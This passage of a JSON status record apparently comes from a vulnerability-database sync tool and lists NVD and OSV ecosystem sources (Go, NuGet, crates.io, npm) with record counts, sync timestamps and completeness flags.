backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}